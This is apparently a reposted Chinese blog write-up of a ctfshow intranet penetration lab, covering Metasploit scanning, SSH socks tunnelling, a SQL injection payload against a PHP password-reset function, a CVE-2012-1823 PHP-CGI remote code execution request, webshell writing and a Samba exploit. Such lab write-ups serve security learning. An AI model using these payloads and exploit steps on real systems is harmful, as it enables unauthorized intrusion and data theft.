ctfshow--一个有趣的内网靶场

本文作者幽壑,本文属于i春秋原创激励计划,欢迎师傅们标明出处转载,一同交流。
https://bbs.ichunqiu.com/thread-63574-1-1.html
国护夜班实在太无聊了,半夜燥热,客户还偷偷藏我们项目经理买的零食,哎,浅浅摸个鱼 打个ctfshow内网靶场。

记一次步履艰辛的渗透靶场(超详细!)

题目给了一个ssh连接的攻击机。
image

废话不多说,直接连接

ssh ctfshow@pwn.challenge.ctf.show -p 28167

image

然后我就卡在这里卡了好久,权限低的可怕,文件也写不了,甚至很多基础命令都用不了,找了好久题目中说的“预置了某些工具”。途中我尝试了搭建socks5隧道、不同目录写webshell等,均失败了。

最后只能一个一个翻,才终于翻到了,在opt目录下存放的metasploit-framework。

find命令是可以直接找到的,但是!!!我怎么知道是什么工具哇!!然后msf的名字又这么长o.O,这,真没想到第一步这么艰辛。
image

本以为找到工具后就好说了

msfconsole  # msf启动

image

一大堆报错,简单的读了读好像是权限不够,好像是让我给一个日志文件权限???

image

chmod 0664 /home/ctfshow/.msf4/logs/production.log

又报错了,没有这个文件。。
image

我又尝试给msf权限

image

’Operation not permitted‘ 操作不允许
行,那我用root的权限总行了吧。
image

image

终于能用了,泪目。

选择一个模块进行探测扫描,这里用端口扫描吧。(这里嫌扫全端口太慢了就随便扫了扫qwq)

use auxiliary/scanner/portscan/tcp
show options
set rhosts 172.2.43.4/24
set ports 80,8080,3306,6379
run

image

扫描到存活ip172.2.43.5开放80端口

这里一瞬间我是先想到了ms17010,然后打了一个pyload,啥也没有O.o

use exploit/windows/smb/ms17_010_eternalblue
show options
set rhosts 172.2.43.5
run

image

没办法,又回到了刚刚扫出来的这个80端口,嗯80端口,唔80端口,有什么有什么办法能搭建个隧道访问到这个80端口呢,百度查了一波msf搭建隧道,还真可以,别急,先curl看看这个80端口有什么(//////)
(这里其实想到了利用ssh搭隧道,但是想试试其他方法)

image

!!!!!!!wowwwwwwwwwwwwwwwww!!!干劲十足!冲!。

ps:这里我又去尝试了一下ssh搭建sock5代理,为什么不行啊啊啊啊啊啊!!!请大佬指点一下!!

msf搭建socks代理部分内容参考文章:https://blog.csdn.net/u014029795/article/details/117375754 (我是菜逼,这个文章描述的更详细,我仅仅做简单总结)




次日

wtfuck!!还是没成功!!!感觉可能是要利用msf上线攻击机才行??我自己上线我自己。

试试其他思路行不行。
ftp上传代理工具
image

ftp默认连接的账号权限不足
使用xshell的root账号加一下权限

mkdir 111
chomd 777 111

image

image

搞定。

次次日,查阅了一些文章,原来反代必须要机子能出网,不出网的机子只能考虑通过webshell之类的方法进行正代,但是这台机子有没有web服务,难道自己搭一个??好像也可行?但是好麻烦。。。
这篇文章细的o.O 关于出网和不出网的机子隧道搭建
https://www.zhihu.com/tardis/zm/art/341685611?source_id=1005

最后折腾了一波,最后还是通过ssh搭了socks5隧道。。。

利用xshell的转移规则

image

proxifier
image

访问内网那台机子。
image

试了试弱口令
不行。

在前端发现gitee源码地址
image

image

难道考察代码审计???

看一下入口文件index.php,请求都是发给api/index.php,那咱们也跟进一下

<h3>管理员登陆</h3>
                <form action="api/index.php?a=login" method="post">
                        <div class="fields-grid">
                            <div class="styled-input agile-styled-input-top">
                                <input type="text" name="username" required=""> 
                                <label>User Name</label>
                                <span></span>
                            </div>

api/index.php

眼睛一下子就看到了sql语句

function doLogin(){
    include 'config.php';
    $username = $this->doFilter($_POST['username']);
    $password = $this->doFilter($_POST['password']);
    $conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
    if(mysqli_connect_errno()){
        die(json_encode(array(mysqli_connect_error())));
    }
    $conn->query("set name $charName");
    $sql = "select password from user where username = '$username' and password = '$password' limit 0,1;";
    $result = $conn->query($sql);
    $row = $result->fetch_array(MYSQLI_ASSOC);
    if($row['password']===$password){
        $_SESSION['LOGIN']=true;
    }else{
        $_SESSION['LOGIN']=false;
        $_SESSION['msg']='登陆失败';
    }
……
}

但是账号密码都经过了一次doFileter方法,跟进一下看看

function doFilter($str){
    $str = str_replace("'", "%27", $str);
    $str = str_replace("\"", "%22", $str);
    $str = str_replace("\\", "%5c", $str);
    return $str;
}

没戏,再看看,发现一个doView方法,感觉可以文件包含shell,但是进行了checkSession,验证了登录。

function doView(){
    $this->checkSession();
    $file=str_replace("..","",$_POST['file']);
    if(file_exists($file)){
        header("Content-type: image/jpeg");
        echo file_get_contents("../ckfinder/userfiles/".$file);
    }
}
function checkSession(){
    if($_SESSION['LOGIN']!==true){
        die("请先登陆");
        return false;
    }else{
        return true;
    }
}

再看看重置密码,username经过了doFilter,但是email只经过了filter验证邮箱格式,而没有进行危险关键字过滤就直接带入了查询,然后进行了返回。

function doReset(){
    include 'config.php';
    $email = filter_input(INPUT_POST,'email',FILTER_VALIDATE_EMAIL);
    $username = $this->doFilter($_POST['username']);
    $conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
    if(mysqli_connect_errno()){
        die(json_encode(array(mysqli_connect_error())));
    }
    $conn->query("set name $charName");
    $sql = "select email from user where email = '$email' and username = '$username'";
    $result = $conn->query($sql);
    $row = $result->fetch_array(MYSQLI_ASSOC);
    if($row['email']){
            $_SESSION['RESET']=true;
            $this->email = $row['email'];
            $_SESSION['msg']="你好! 已经将重置密码链接发送至邮箱".$this->email;
    }else{
        $_SESSION['RESET']=false;
        $_SESSION['msg']="邮箱不存在";
    }
    $conn->close();
    $this->dispatcher("../index.php");
}

那么我们就可以构造一下恶意的sql语句来拿到账号密码

username=admin&email='union/**/select/**/username/**/from/**/user#@qq.com
以及
username=admin&email='union/**/select/**/password/**/from/**/user#@qq.com

image

image

image

输入账号密码进来
image

测试了一波没什么进展,我突然就想再回去fscan扫描一下有没有其他服务器。

然后我又爬回xftp上传了fscan重新进行了扫描,大意了。
image

chmod 
./fscan -h 172.2.95.0/24

有cve!!!(PHP-CGI远程代码执行漏洞 CVE-2012-1823)
image

网上搜了一个poc直接rce了。0.0
image

POST /index.php/?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1

<?php echo system("ls"); ?>

写入webshell
image

image

image

image

怎么找也没找到flag,问了问才知道,原来在另一台机子上,msf直接打445的Samba

msfconsole
use exploit/linux/samba/is_known_pipename
set rhost 172.2.95.6
exploit 

image

image

总的来说,通过这次靶场经历,一定程度上巩固内网基础,也对正反代也有了更深刻的理解。
tip:只有Neo可以用于不出网机子的隧道建立,属于正向代理,而frp、ew之类的工具属于反向代理,无法用于不出网的机子

posted @ 2023-09-08 17:16  LinkPoc  阅读(235)  评论(0编辑  收藏  举报